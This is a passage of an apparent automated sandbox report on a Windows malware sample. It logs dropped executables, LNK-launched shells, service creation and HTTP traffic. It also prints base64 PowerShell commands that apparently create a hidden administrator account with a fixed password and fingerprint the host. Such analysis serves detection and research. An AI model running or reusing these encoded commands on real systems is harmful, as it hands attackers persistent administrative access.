CkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline"			Jump to behavior

Source: svczHost.exe.13.dr	Static PE information: section name: .managed
Source: svczHost.exe.13.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.22.dr	Static PE information: section name: .managed
Source: myRdpService.exe.22.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD833622D5 push eax; iretd	3_2_00007FFD8336233D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD83360525 pushad ; retf	3_2_00007FFD833605ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD833A79D7 push ebx; retf	4_2_00007FFD833A79DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD83394660 pushad ; ret	4_2_00007FFD8339466D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD833A75D7 push ebx; iretd	4_2_00007FFD833A75DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD8339849E push eax; ret	4_2_00007FFD833984AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD83397C9E push eax; retf	4_2_00007FFD83397CAD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD8339846E pushad ; ret	4_2_00007FFD8339849D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD83397C6E pushad ; retf	4_2_00007FFD83397C9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD83461B14 push esi; iretd	4_2_00007FFD83461B17
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD8324D2A5 pushad ; iretd	8_2_00007FFD8324D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD83361FA5 push eax; iretd	8_2_00007FFD83361FF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD83360E63 push eax; iretd	8_2_00007FFD83360EC3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD8327D2A5 pushad ; iretd	13_2_00007FFD8327D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD83398198 push ebx; ret	13_2_00007FFD833981DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD8339819B push ebx; ret	13_2_00007FFD833981DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD83390E65 push eax; iretd	13_2_00007FFD83390EB3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD833975D9 push ebx; iretd	13_2_00007FFD833975DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD838C2C8A push cs; ret	13_2_00007FFD838C2C8B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD83370E95 push eax; iretd	26_2_00007FFD83370EA3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 26_2_00007FFD83372AFD push E83AFE49h; ret	26_2_00007FFD83372B69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 54_2_00007FFD8339231F pushad ; iretd	54_2_00007FFD8339232D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 55_2_00007FFD833A0FD5 push eax; iretd	55_2_00007FFD833A0FE3

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
